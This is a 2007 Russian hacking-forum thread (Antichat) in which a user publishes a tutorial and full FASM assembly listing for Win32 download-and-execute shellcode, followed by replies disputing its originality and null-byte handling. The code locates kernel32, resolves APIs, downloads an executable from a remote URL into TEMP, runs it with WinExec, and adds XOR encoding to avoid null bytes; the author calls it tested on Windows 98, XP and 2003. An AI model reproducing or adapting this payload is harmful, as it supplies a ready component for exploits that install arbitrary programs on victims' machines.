ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Написание Shell-code на Asm
  #1  
Старый 20.04.2007, 17:30
Аватар для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию Написание Shell-code на Asm

Ну, вот решил я написать свою первую статью! Кто-то из вас будут кидать в меня помидоры, а кто-то найдет много интересного в этой статье. Просто когда-то в прошлом, когда я только учился писать шелл-коды, то нормальной инфы не было по этой теме. Т.е. была или сухая теория, или огромнейшие статьи по этому поводу, в которых было всё сильно замудрено написано. Многие из Вас, кто шарит в кодинге, будут думать, что эта статья бесполезна, но как я убедился на своём опыте, то многие даже не знаю, что такое шелл-код и с чем его едят. Если вы знаете что это такое, то можете переходить к чтению 2-й части. В статье будет описано, как создать шелл-код под WIN32. Также для понимания этой статьи, вам нужны хоть маленькие знания ассемблера.

====[ Часть ПЕРВАЯ. Что же такое шелл-код (shell-code)? ]====
Многие из вас видели в exploit’ах типа такие стоки: “\x6a\x51\x59\xd9\xee\xd9\x74\x24”
Ну, так это и есть шелл-код, только в 16-чной системе. Сейчас развелось много типов шелл-кодов. Среди них есть 2 наиболее популярных типа:
1) download&execute – он скачивает программу и запускает её.
2) shell-code – отсюда и пошло это слово. Они предоставляли удаленный доступ shell к системе, где запущен он.
Принцип работы прост: при переполнении стека меняется адрес возврата из процедуры, на адрес где находится этот шелл-код. В итоге он получает управление. Не буду вдаваться в подробности того, что такое переполнение стека и тому подобные вещи, т.к. цель статьи – как написать сам шелл-код.
С одной стороны всё это выглядит просто. И вроде не должно вызвать трудностей при написании шелл-кода. Но на практике всё намного сложнее, чем кажется. Основные трудности заключаются в том, что:
1) Шелл-код должен быть как можно меньше
2) В нем чаще всего не допускается наличие нулевых байтов
3) Шелл-код может находиться в ОЗУ каждый раз в разном месте (т.е. для разных программ, он будет помещаться в разные адреса памяти)
4) Шелл-код должен распознавать, в какой версии ОС он работает.
5) Нет возможности заранее знать адреса API функций, которые будут использоваться. Т.к. Адреса многих API функций могут отличаться не только в разных версия винды, но и даже в разных патчах. Поэтому шелл-код должен сам находить эти адреса в зависимости от версии ОС.
6) способность после своей работы не вешать прогу, в которой произошло переполнение, а давать возможность удачного продолжения работы без видимых признаков нарушения работоспособности.
7) Невозможность обычного использования переменных. Т.к. адреса переменных будут браться как после компиляции, где адрес в ОЗУ нам известен.
Многие скажут, что не реально заставить шелл-код выполнять данные функции и при этом иметь минимальный размер. НО на практике всё более просто, нежили в теории. Потому что все эти проблемы легко решаются.
1) Если писать шелл-код на ASM то размер будут маленький, а если еще правильно использовать инструкции CPU, то размер будет минимальный.
2) Отсутствие нулевых байтов – нет проблем – обычное XOR кодирование на число, которого нет в шелл-коде. Чаще всего это символ с кодом 90h. т.к. машинная инструкция с кодом 90h – это NOP. Другими словами – ничего не выполняющая инструкция. Т.к. мы будем создавать компактный шелл-код то, скорее всего, мы будем экономить на каждом байте, поэтому вряд ли будем вставлять бесполезную инструкцию NOP. А если код 90h будет встречаться в значениях, то просто DEC и INC всё исправит.
3) Определение местонахождения шелл-кода в ОЗУ – это старый вирусный трюк, состоящий из 2-х инструкций
4) Ну тут имеет принципиальное значение не сама ОС, а её тип. Нам будут важны только 2 типа ОС: на базе Win9x и на базе WinNT. Остальные нам не нужны, потому что вряд ли кто-то еще сидит в инете с Windows 3.1 или того меньше. А определение типа ОС – это тоже пару инструкций.
5) Воспользовавшись всё той же вирусной техникой, можно определить адреса функций из библиотеки kernel32.dll. Но для этого нам нужно знать базовый адрес этой библиотеки в ОЗУ. Хорошо это или плохо, но этот адрес одинаков в ОС одного типа. Поэтому нам нужно будет определить тип ОС, а там уже запросто получить этот базовый адрес.
6) С этим тоже нет трудностей, нужно просто перед работай сохранять значение всех регистров и флагов, а потом восстанавливать их и делать RET.
7) Тут нам поможет такая хитрая вещь: Если задать при компиляции адрес, куда якобы должен грузиться шелл-код, равным 0, то мы получим смещение переменной относительно начала шелл-кода. Если до вас всё еще не дошла хитрость этого метода, то объясняю: после компиляции у нас адрес будет равен смещению. Нам нужно будет теперь только определить адрес, куда загружен шелл-код, и прибавить его к этому смещению и в итоге мы получим адрес в ОЗУ, где находится переменная.
Вот основные моменты, которые нужно учитывать при написании шелл-кода.

====[ Часть ВТОРАЯ. Написание шелл-кода ]====
Для написания шелл-кода нам лучше всего подойдет FASM т.к. у него простой синтаксис и простой интерфейс, и легкость компилирования.
Для примера будем писать Download&execute шелл-код
И так запускам GUI FASM’a и вписываем следующий код:
use32
Это означает, что не будет создаваться exe файл, а будет просто компилироваться под 32-х битную систему.
Следующим шагом будет сохранение всех используемых нами регистров и флагов. Это выглядит так:
push eax ebx ecx edx esi edi ebp
pushf

Далее необходимо определить адрес, где мы находимся:
call $+5 ; вызов следующей команды
pop ebp ; в ebp - адрес возврата

Суть этого метода в том, что мы переходим на следующую команду, т.е. на 5 байт вперед от текущей позиции (1 байт – инструкция call и 4 байта адрес перехода). После этого в стек помещается адрес возврата, из процедуры, который мы потом извлекаем из стека и помещаем в регистр ebp. Теперь в регистре ebp хранится адрес инструкции pop ebp. Но нам нужен адрес начала нашего кода, поэтому мы вычитаем из регистра ebp 5 байт (call $+5) и еще 8 байт которые израсходовали на инструкции push и pushf (размер каждой инструкции – 1 байт). В итоге на необходимо отнять 13 байт, что мы и делаем:
sub ebp,13 ;Получим адрес начала кода
Далее нам нужно определить тип ОС на которой запущен шелл-код. для этого выполняем:
xor eax,eax ; обнуляем регистр EAX
add eax,[fs:eax+30h]
js win_9x

Если этот код выполняется на Win9x, то произойдет переход на метку win_9x, иначе продолжится обычное выполнение программы, что будет свидетельствовать, что мы находимся в WinNT
Теперь воспользовавшись этой технологией можно определить базовый адрес kernel32.dll. Это выглядит так:
xor eax,eax ; обнуляем регистр EAX
add eax,[fs:eax+30h]
js win_9x
; Если NT
mov eax,[eax+0ch] ;
mov esi,[eax+1ch] ; Получение базового адреса kernel32.dll
lodsd ; В NT
mov eax,[eax+08h] ;
jmp kernel32_ptr_found
win_9x: ; Если 9х
mov eax,[eax+34h] ;
lea eax,[eax+7ch] ; Получение базового адреса kernel32.dll
mov eax,[eax+3ch] ; В 9х
kernel32_ptr_found:

После чего у нас в регистре eax будет занесен этот базовый адрес, от которого мы будем шагать. Теперь нужно определить нужные нам адреса функций из этой библиотеки. Для этого необходимо разобрать таблицу экспорта этой библиотеки. Этот процесс весьма трудоемкий, поэтому мы воспользуемся уже готовой процедурой, которая определит нужные нам адреса. Честно говоря, автор этой функции не я. Большая благодарность току кто её придумал, но к сожалению я забыл его имя. Вот эта функция:

;---------------;
;Эта процедура получает адрес требуемой API функции по ее имени ;
;ВХОДНЫЕ ДАННЫЕ: ESI - указатель на имя функции с учетом регистра ;
;ВЫХОДНЫЕ ДАННЫЕ: EAX - адрес требуемой функции ;
;ECX - длина имени функции ;
;---------------;
GetAPI:
mov edx,esi ;сохраняем указатель имя
mov edi,esi ;для проверки длины
xor al,al ;будем сравнивать посимвольно с 0
@_1: scasb
jnz @_1
sub edi,esi ;EDI = размер имени функции
mov ecx,edi ;в ECX тоже самое
xor eax,eax
mov esi,3Ch ;смещение на начало PE заголовка
add esi,[ebp+kernel]
lodsw ;значение по адресу ESI в EAX
add eax,[ebp+kernel] ;нормализуем смещение PE
mov esi,[eax+78h] ;RVA таблицы экспорта
add esi,1Ch ;плюс смещение на RVA таблицы адресов
add esi,[ebp+kernel] ;нормализуем, и получаем ссылку на RVA т.адр.
lea edi,[ebp+ATVA] ;готовимся к пересылке
lodsd ;RVA табл. адресов в EAX
add eax,[ebp+kernel] ;нормализуем
stosd ;сохраняем в переменной ATVA
lodsd ;RVA табл. имен в EAX
add eax,[ebp+kernel] ;нормализуем
push eax ;сохраняем в стеке
stosd ;и в переменной NTVA
lodsd ;RVA табл. ординалов в EAX
add eax,[ebp+kernel] ;нормализуем
stosd ;сохраняем в OTVA
pop esi ;в ESI адрес табл. имен
xor ebx,ebx ;mov ebx,0
@_3: lodsd ;[ESI]==>EAX, RVA на имя функции
push esi ;сохраняем указатель на RVA имени функции
add eax,[ebp+kernel] ;нормализуем
;готовимся к сравнению
mov esi,eax ;в ESI адрес имени функции
mov edi,edx ;в EDI адрес образца имени
push ecx ;сохраняем длину образца имени
cld
rep cmpsb ;сравниваем побайтово
pop ecx ;восстанавливаем длину образца имени
jz @_4 ;переходим сюда если совпали имена
pop esi ;нет, восстанавливаем указатель на RVA им.ф-и (уже следующей)
inc ebx ;увеличиваем счетчик
jmp @_3 ;и опять начинаем с начала
@_4:
pop esi ;очищаем стек
xchg eax,ebx ;в EAX значение счетчика
shl eax,1 ;умножаем на 2 (тк ординалы это wordы)
add eax,[ebp+OTVA];прибавляем к началу таблицы орд. счетчик
xor esi,esi
xchg eax,esi ;в ESI адрес ординала
lodsw ;в EAX получаем сам ординал
shl eax,2 ;умножаем его на 4 (тк dword) и получаем смещение относительно табл. адресов
add eax,[ebp+ATVA];нормализуем
mov esi,eax ;в ESI адрес на RVA API функции
lodsd ;получаем это RVA в EAX
add eax,[ebp+kernel] ;нормализуем
ret ;и на выходе адрес требуемой ф-и

GetAPIs: ; функция которой передается адрес массива имен API функций и
jmp GetAPIs_next ; а она возвращает в другой массив адреса этих функций
kernel dd 0
ATVA dd 0
NTVA dd 0
OTVA dd 0
GetAPIs_next:
mov [ebp+kernel],eax ;сохраняем адрес базы
__1: ;начинаем поиск функций
push esi ;сохраняем нужные регистры
push edi
call GetAPI ;в EAX получаем адрес функции
pop edi ;восстанавливаем регистры
pop esi
stosd ;сохраняем по адресу на который указывает EDI
add esi,ecx ;переходим к следующему имени
cmp byte [esi],0BBh ;проверяем, не конец ли массива имен
jz GetAPIs_exit ;если да то выход
jmp __1 ;нет, ищем следующую функцию
GetAPIs_exit:
ret


Ну, так вот, с помощью этих 2-х функций мы можем получить адреса API функций из kernel32.dll. Самые необходимые для нас функции из этой библиотеки, это:
1 – GetTempPathA – для определения папки TEMP (в нее мы будем сохранять скаченный файл)
2 ¬– LoadLibraryA – т.к. нам нужны будут функции из библиотеки URLMON.DLL
3 – GetProcAddress – для определения адреса API функции, т.к. нам нужно будет найти адрес функции URLDownloadToFileA которая скачивает файл из инета.
4 – WinExec – чтобы запустить скаченную программу.
И так, мы закончили на том, что определили базовый адрес kernel32.dll. Теперь необходимо найти нужные нам функции в этой библиотеки. Для этого мы пишем вот такой вод код:
push esi edi ; сохраним регистры, т.к. они нам будут еще нужны
mov esi,APIfunct ;Загружаем в регистр ESI адрес массива API функций
add esi,ebp ; незабываем прибавить к этому адресу адрес нашего кода в ОЗУ
mov edi,APIAdr ;загружаем адрес в который будут помещены адреса этих функций
add edi,ebp ; аналогично
call GetAPIs ; вызовем функцию поиска адресов
pop edi esi ; восстановим регистры

Массив адресов представлен в такой форме (просто я для удобства назвал метки по имени API функций):
APIAdr:
GetTempPathA dd 0
LoadLibraryA dd 0
GetProcAddress dd 0
WinExec dd 0


Массив имен API функций выглядит следующим образом:
buf: ; далее я объясню для чего эта метка
APIfunct:
db 'GetTempPathA',0
db 'LoadLibraryA',0
db 'GetProcAddress',0
db 'WinExec',0
db 0BBh ; Отмечает конец массива ;

Следующим шагом будет определение местонахождения папки TEMP. Этот момент рассмотрим поподробнее, т.к. тут присутствует весьма важная часть, которая может существенно повлиять на размер шелл-кода. Как я уже писал выше, мы будем определять путь к темпу через API функцию GetTempPathA. Параметры этой функции – адрес буфера, в который будет помещен путь до этой папки, и размер этого буфера. Вся хитрость заключается в расположении этого буфера. У нас есть 4 места, где мы можем расположить этот буфер:
1) Просто в шелл-коде прописать такую строку:
buf: db 128 dup 0
тем самым, выделив в нем память под буфер. Но это будет не рационально, т.к. тогда наш шелл-код увеличится на размер этого буфера, а именно на 128 байт.
2) Попросить память у Windows. Это нам тоже не подходит, т.к. для этого нужно использовать API функции типа HeapAlloc, но в шелл-коде такое может не сработать, да и захламлять шелл-код именами API функций тоже не хочется.
3) Наугад выбрать адрес памяти, куда будет помешен путь, но это чревато повреждением других важных данных, о которых мы можем и не знать.
4) Использовать отработавшую часть шелл-кода.

Именно последний способ нам подходит больше всего. Но у вас сразу, наверное, появился вопрос: “А откуда взять эту отработавшую часть и вообще что это за часть?”. Рассказываю. Отработавшая часть – это часть шелл-кода, которая уже выполнила свое предназначение и больше нам не понадобится. В нашем случае, такой частью может быть память, занятая кодом функции, которая определяет адреса API функций и массивом имен этих функций. Поэтому если расположить строки программы в такой последовательности:
---- Таблица адресов API функций
---- Метка buf
---- Массив имен API функций
---- Функция поиска адресов API функций
то, начиная с метки buf, у нас образуется подходящий кусок памяти, в который может быть помещен путь к папке TEMP. Обратите внимание, что таблица адресов API функций должна идти перед меткой buf т.к. нам еще понадобятся адреса API функций. Это сделано для того, чтобы эта таблица не затерлась.
Теперь определившись с местом хранения буфера, мы получаем путь к папке TEMP следующими командами:
mov edx,ebp ; в EDX адрес начала шелл-кода
add edx,buf ; прибавим к нему смещение буфера. Тем самым, получив полный адрес, где находится наш буфер в ОЗУ
push edx ; Занести Адрес буфера
push 128 ; Занести размер буфера
call dword [GetTempPathA+ebp] ;


Как вы видите, API функции вызываются следующим способом: Из ячейки памяти находящееся по адресу = начало шелл-кода в ОЗУ + смещении ячейки, где хранится этот адрес, берется адрес этой функции.

Функция GetTempPathA также заносит в регистр EAX – число байт помещенных в буфер. Это нам пригодится для определения конца пути. Это нам нужно будет для того, чтобы записать после пути к папке, имя файла. Процесс присоединение выглядит так:
mov edx,ebp
add edx,buf ; EDX=адрес буфера
xor esi,esi ; смещение в буфере
add edx,eax ; edx = конец буфера
m1:
mov bl,[ebp+output_name+esi] ; считать байт из имени файла
cmp bl,0 ; если это конец имени файла
je m2 ; выход из цикла копирования
mov [edx+esi],bl ; запись в буфер
inc esi ; сместить указатель
jmp m1 ; копировать следующий символ
m2:
mov [edx+esi],byte 0 ; поставить 0 в конце имени


output_name – это переменная, которая хранит имя файла, под которым будет сохранен скаченный файл. И выглядит она следующим образом:
output_name: db '12345678.exe',0

Теперь необходимо нам загрузить библиотеку URLMON.DLL для этого:
mov edx,ebp
add edx,LibName
push edx
call dword [LoadLibraryA+ebp]

Надеюсь, эта операция не требует пояснения. Скажу лишь то, что LibName – это переменная следующего вида и содержимого: LibName db 'URLMON.DLL',0
После выполнения этой функции в регистре EAX будет помещен дескриптор модуля URLMON. Используя этот дескриптор и функцию GetProcAddress, получим адрес API функции URLDownloadToFileA. Для этого пишем:
mov edx,ebp
add edx,FuncName
push edx ; имя функции
push eax ; дескриптор
call dword [GetProcAddress+ebp]

Теперь в регистре EAX хранится адрес этой API функции.
Приступим к скачиванию файла:
push 0
push 0
mov edx,ebp
add edx,buf
push edx ; адрес буфера где хранится путь и имя куда сохранить скаченный файл
mov edx,ebp
add edx,URL
push edx ; адрес где хранится URL
push 0
call eax ; call URLDownloadToFileA


URL – переменная: URL: db 'http://192.168.3.1/1.exe',0
При удачном выполнении у нас в папке TEMP появится файл с именем заданным в переменной output_name, который был скачен с адреса указанного в переменной URL.
Теперь дело осталось за малым – запустить скаченную программу:
push 5; Показывать окно
mov edx,ebp
add edx,buf
push edx ;путь до файла и имя который нужно запустить. В нашем случае это скаченная программа.
call dword [WinExec+ebp] ; WinExec

И наконец подчищаем там где нагадили, а именно восстанавливаем первоначальные значения регистров и флагов и выходим из процедуры:
exit:
popf
pop ebp edi esi edx ecx ebx eax
ret


Вот и весь код!

====[ Часть ТРЕТЬЯ. Хитрости при написании шелл-кодов ]====

1) Рациональное использование инструкций CPU. Дело в том, что для одной и той же операции можно применить разные инструкции. Для человека это не играет разницы, какую именно использовать, а для CPU разница есть, а именно – размер в байтах. Дело в том, что для разного случае лучше применять разные вариации инструкций. Вот перечень инструкций, которые использовать более рационально:
а) Прибавление к регистру значения 1:
INC EAX - 1 байт
ADD EAX, - 3 байта
Как вы видите разница весомая.
б) Вычитание из регистра значение 1
DEC EAX - 1 байт
SUB EAX, - 3 байта
с) Занесение в регистр значения 0
XOR EAX,EAX – 2 байта
MOV EAX,0 – 5 байт
д) Деление регистра на степень двойки
SHR EAX,степень двойки
т.е. инструкция SHR EAX,3 раздели регистр EAX на 8
е) Умножение регистра на степень двойки
SHL EAX,степень двойки
т.е. инструкция SHL EAX,4 умножит регистр EAX на 16
Существует множество таких соответствий между инструкциями.
2) Шифрование Шелл-кода. Для этого можно воспользоваться функцией XOR. А потом перед зашифрованным шелл-кодом встроить расшифровщик следующего вида:
xor ecx,ecx
decript_:
xor byte [ebp+ecx+start_decode],90h
inc ecx
cmp cx,513 ; кол-во байт для расшифровки
jne decript_
start_decode: ; от этого места начнется
расшифровка
Как я уже говорил раньше, если использовать xor и число 90h, то можно избавиться от нулевых символов. Но тут есть одно НО. Для расшифровщика нужно, чтобы в регистре ebp хранился адрес начала шелл-кода. Но для определения этого адреса придется воспользоваться инструкций call $+5 которая после компиляции выглядит так: E8 00 00 00 00
А это нам не подходит, т.к. есть нулевые байта. Поэтому можно воспользоваться следующим способом, который не содержит нулевых байт:
xor al,al
cmp al,1
je $+7
inc al
call $-6
pop ebp
sub ebp,21

Последний раз редактировалось slesh; 20.04.2007 в 17:36..
 

  #2  
Старый 20.04.2007, 17:31
Аватар для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

------------------------------------------------------------------
Вот рабочий шелл-код:
PHP код:
; (CSLESH
ICQ266-334-734

use32
 push eax ebx ecx edx esi edi ebp
 pushf

;--- получение начального адресакоманды не должны содержать код 00h

 call 
$+вызов следующей команды
 pop ebp 
в ebp адрес возврата
 sub ebp
,13

 
xor eax,eax  определение типа ОС 9х или NТ
 add eax
,[fs:eax+30h]
 
js method_9x
method_nt
:  ; Если NT
 mov eax
,[eax+0ch]    ;
 
mov esi,[eax+1ch]    ; Получение базового адреса kernel32.dll
 lodsd              
OS_BASENT
 mov eax
,[eax+08h]    ;
 
jmp kernel32_ptr_found
method_9x
:  ; Если 9х
 mov eax
,[eax+34h]    ;
 
lea eax,[eax+7ch]    ; Получение базового адреса kernel32.dll
 mov eax
,[eax+3ch]    ; OS_BASE
kernel32_ptr_found
:

push esi edi
 mov esi
,APIfunct
 add esi
,ebp
 mov edi
,APIAdr
 add edi
,ebp
 call GetAPIs
pop edi esi

 mov edx
,ebp
 add edx
,buf
 push edx  
Занести Адрес буфера
 push 128  
Занести размер буфера

 call dword 
[GetTempPathA+ebp] ; GetTempPathA

 mov edx
,ebp
 add edx
,buf  EDX=адрес буфера
 
xor esi,esi  смещение в буфере
 add edx
,eax  edx конец буфера

m1
:
 
mov bl,[ebp+output_name+esi] ; считать байт из имени файла
 cmp bl
,0  если это конец имени файла
 je m2    
выход из цикла копирования
 mov 
[edx+esi],bl  запись в буфер
 inc esi  
сместить указатель
 jmp m1  
копироватьследующий символ
m2
:
 
mov [edx+esi],byte 0  поставить 0 в конце имени


 mov edx
,ebp
 add edx
,LibName
 push edx
 call dword 
[LoadLibraryA+ebp]

 
mov edx,ebp
 add edx
,FuncName
 push edx
 push eax
 call dword 
[GetProcAddress+ebp]

 
push 0
 push 0
 mov edx
,ebp
 add edx
,buf
 push edx
 mov edx
,ebp
 add edx
,URL
 push edx
 push 0
 call eax

 push 5
Показывать окно
 mov edx
,ebp
 add edx
,buf
 push edx          
;имя команды
 call dword 
[WinExec+ebp] ; WinExec

exit:
 
popf
 pop ebp edi esi edx ecx ebx eax
 ret



APIAdr
:
 
GetTempPathA dd 0
 LoadLibraryA dd 0
 GetProcAddress dd 0
 WinExec dd 0


buf
:
APIfunct:
 
db 'GetTempPathA',0
 db 
'LoadLibraryA',0
 db 
'GetProcAddress',0
 db 
'WinExec',0
 db 0BBh 
Отмечает конец массива ;


;---------------;
;
Эта процедура получает адрес требуемой API функции по ее имени ;
;
ВХОДНЫЕ ДАННЫЕESI указатель на имя функции с учетом регистра ;
;
ВЫХОДНЫЕ ДАННЫЕEAX адрес требуемой функции ;
;
ECX длина имени функции ;
;---------------;
GetAPI:
mov edx,esi ;сохраняем указатель имя
mov edi
,esi ;для проверки длины
xor al,al ;будем сравнивать посимвольно с 0
@_1scasb
jnz 
@_1
sub edi
,esi ;EDI размер имени функции
mov ecx
,edi ;в ECX тоже самое
xor eax,eax
mov esi
,3Ch ;смещение на начало PE заголовка
add esi
,[ebp+kernel

lodsw ;значение по адресу ESI в EAX
add eax
,[ebp+kernel] ;нормализуем смещение PE
mov esi
,[eax+78h] ;RVA таблицы экспорта
add esi
,1Ch ;плюс смещение на RVA таблицы адресов

add esi
,[ebp+kernel] ;нормализуеми получаем ссылку на RVA т.адр.
lea edi,[ebp+ATVA] ;готовимся к пересылке

lodsd 
;RVA табладресов в EAX
add eax
,[ebp+kernel] ;нормализуем
stosd 
;сохраняем в переменной ATVA

lodsd 
;RVA таблимен в EAX
add eax
,[ebp+kernel] ;нормализуем
push eax 
;сохраняем в стеке
stosd 
;и в переменной NTVA

lodsd 
;RVA таблординалов в EAX
add eax
,[ebp+kernel] ;нормализуем
stosd 
;сохраняем в OTVA

pop esi 
;в ESI адрес таблимен

xor ebx,ebx ;mov ebx,0

@_3lodsd ;[ESI]==>EAXRVA на имя функции
push esi 
;сохраняем указатель на RVA имени функции
add eax
,[ebp+kernel] ;нормализуем
;готовимся к сравнению
mov esi
,eax ;в ESI адрес имени функции
mov edi
,edx ;в EDI адрес образца имени
push ecx 
;сохраняем длину образца имени
cld
rep cmpsb 
;сравниваем побайтово
pop ecx 
;восстанавливаем длину образца имени
jz 
@_4 ;переходим сюда если совпали имена
pop esi 
;нетвосстанавливаем указатель на RVA им.ф-и (уже следующей)
inc ebx ;увеличиваем счетчик
jmp 
@_3 ;и опять начинаем с начала
@_4:
pop esi ;очищаем стек
xchg eax
,ebx ;в EAX значение счетчика
shl eax
,;умножаем на 2 (тк ординалы это wordы)
add eax,[ebp+OTVA];прибавляем к началу таблицы ордсчетчик
xor esi,esi
xchg eax
,esi ;в ESI адрес ординала
lodsw 
;в EAX получаем сам ординал
shl eax
,;умножаем его на 4 (тк dwordи получаем смещение относительно табладресов
add eax
,[ebp+ATVA];нормализуем
mov esi
,eax ;в ESI адрес на RVA API функции
lodsd 
;получаем это RVA в EAX
add eax
,[ebp+kernel] ;нормализуем
ret 
;и на выходе адрес требуемой ф-и

GetAPIs
:
jmp GetAPIs_next
kernel dd 0
ATVA dd 0
NTVA dd 0
OTVA dd 0
GetAPIs_next
:
mov [ebp+kernel],eax ;сохраняем адрес базы
__1
: ;начинаем поиск функций
push esi 
;сохраняем нужные регистры
push edi
call GetAPI 
;в EAX получаем адрес функции
pop edi 
;восстанавливаем регистры
pop esi
stosd 
;сохраняем по адресу на который указывает EDI

add esi
,ecx ;переходим к следующему имени
cmp byte 
[esi],0BBh ;проверяемне конец ли массива имен
jz GetAPIs_exit 
;если да то выход
jmp __1 
;нетищем следующую функцию
GetAPIs_exit
:
ret
LibName db 
'URLMON.DLL',0
FuncName db 
'URLDownloadToFileA',0
output_name
db '12345678.exe',0
URL
db 'http://192.168.3.1/1.exe',
------------------------------------------------------------------
Вот и всё. Могу отметить только то, что при тестировании этот шелл-код оказался работоспособным как в Windows 98, так и в Windows XP и 2003.
 

  #3  
Старый 20.04.2007, 17:55
Аватар для ShadOS
ShadOS
ы
Регистрация: 11.02.2007
Сообщений: 750
Провел на форуме:
1347723

Репутация: 1477


Отправить сообщение для ShadOS с помощью ICQ
По умолчанию

Первое что поразило - это название. shellcode пишется не на ASM если на то пошло, а в шеснадцатиричных кодах. Второе - статья большей частью копипаст http://www.cyberinfo.ru/5/222_1.htm
В третьих тема не раскрыта. Никогда не ставил минусы за статьи, но если уж взялся за такую серьёзную тему - будь готов получить по заслугам. Ничего личного.
__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....

Последний раз редактировалось ShadOS; 20.04.2007 в 18:00..
 

  #4  
Старый 20.04.2007, 18:23
Аватар для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

2 ShadOS
Ну если дело на то пошло, то как ты называешь shellcode на чем тогда писать?
Ты предлогаешь выучить все инструкции в HEX виде? Или модет тогда это както по другому завется?
А на счет статьи - я её полностью писал САМ, основываясь на своих знаниях. И не откуда её не передрал. А ту ссылку что ты написал - я впервые это вижу! Единственное что тут не моё - это метод определения API функций, но об этом я сказал в статье!

Цитата:
.... Для этого необходимо разобрать таблицу экспорта этой библиотеки. Этот процесс весьма трудоемкий, поэтому мы воспользуемся уже готовой процедурой, которая определит нужные нам адреса. Честно говоря, автор этой функции не я. Большая благодарность току кто её придумал, но к сожалению я забыл его имя. Вот эта функция:

Последний раз редактировалось slesh; 20.04.2007 в 18:34..
 

  #5  
Старый 20.04.2007, 18:47
Аватар для zl0y
zl0y
Banned
Регистрация: 13.09.2006
Сообщений: 523
Провел на форуме:
2869410

Репутация: 925


Отправить сообщение для zl0y с помощью ICQ
По умолчанию

Статья неочень =\ фу копипаст неуважаю
 

  #6  
Старый 20.04.2007, 19:15
Аватар для ShadOS
ShadOS
ы
Регистрация: 11.02.2007
Сообщений: 750
Провел на форуме:
1347723

Репутация: 1477


Отправить сообщение для ShadOS с помощью ICQ
По умолчанию

Цитата:
Сообщение от slesh  
2 ShadOS
Ну если дело на то пошло, то как ты называешь shellcode на чем тогда писать?
Ты предлогаешь выучить все инструкции в HEX виде? Или модет тогда это както по другому завется?
А на счет статьи - я её полностью писал САМ, основываясь на своих знаниях. И не откуда её не передрал. А ту ссылку что ты написал - я впервые это вижу! Единственное что тут не моё - это метод определения API функций, но об этом я сказал в статье!
То, о чём ты написал совсем не раскрывает темы, этим всё сказанно. Я тебе ничего не предлагаю, но шеллкод ты тут не написал (почти), точнее он скорее всего будет неприменим в реальных условиях, т.к. здесь я не вижу, как ты сказал, то что "Многие из вас видели в exploit’ах типа такие стоки: “\x6a\x51\x59\xd9\xee\xd9\x74\x24”"
тот код который ты скопипастил является лишь частью работы по созданию шеллкода.

Кроме того, вот эти как т ысказал "трудности" ты не преодолел:
>>2) В нем чаще всего не допускается наличие нулевых байтов
Как можно быть уверенным что после перевода в HEX твоего кода там не будет "\0" кодов? Ты хоть знаешь в каком случае это действительно нужно?
__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....
 

  #7  
Старый 20.04.2007, 19:55
Аватар для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

2 ShadOS Я прекрасно знаю что делать когда есть нулевые байты. Я нормально описал - нужно всё прогнать через XOR 90h (т.к. NOP'ов у нас нет, то не будет и 0 потом. А если есть ноль в значениях, то inc и dec всё запросто исправят)
И тестил я свой шеллкод начиная от 98 и заканчивая 2003 виндой. Везде пахал отлично. А выкладывать сюда свой полноценный(где нет 100% нулевых байт и который шифрованый) шелл-код я не собираюсь. Могу дать протестить тебе тот шелл-код который без 0h байтов и шифрованый, если ты сомневаешься в его работоспособности!
Я то ничего против не имеею, каждый оценивает статью на уровне своих знаний, но эта статья - общие положиния по написанию.
Просто я встречал столько народу которые во всю юзают сплоиты и даже не знаю что такое шелл-код!

Последний раз редактировалось slesh; 20.04.2007 в 20:21..
 

  #8  
Старый 20.04.2007, 23:53
Аватар для »Atom1c«
»Atom1c«
Banned
Регистрация: 04.11.2006
Сообщений: 370
Провел на форуме:
1763167

Репутация: 1186
Отправить сообщение для »Atom1c« с помощью ICQ
По умолчанию

Переместил в Чужие, ибо копипаст по большей части =\\
 

  #9  
Старый 20.04.2007, 23:57
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

ShadOS, имхо, ты не прав) шелкоды пишутся на асме.
 

  #10  
Старый 21.04.2007, 17:57
Аватар для _Pantera_
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
Провел на форуме:
3025546

Репутация: 1327
Отправить сообщение для _Pantera_ с помощью ICQ
По умолчанию

Та все нормально, молодец. главное что б ты сам все это понимал.
 
Закрытая тема



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Язык shell mR_LiNK[deface_0nl Чужие Статьи 10 10.01.2007 21:56
Google Code Search облегчит хакерам задачу по поиску уязвимостей Lany Мировые новости 4 16.10.2006 21:38
Создание кейгена для EmFTP 2.01 ProTeuS Авторские статьи 3 14.08.2006 16:34



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ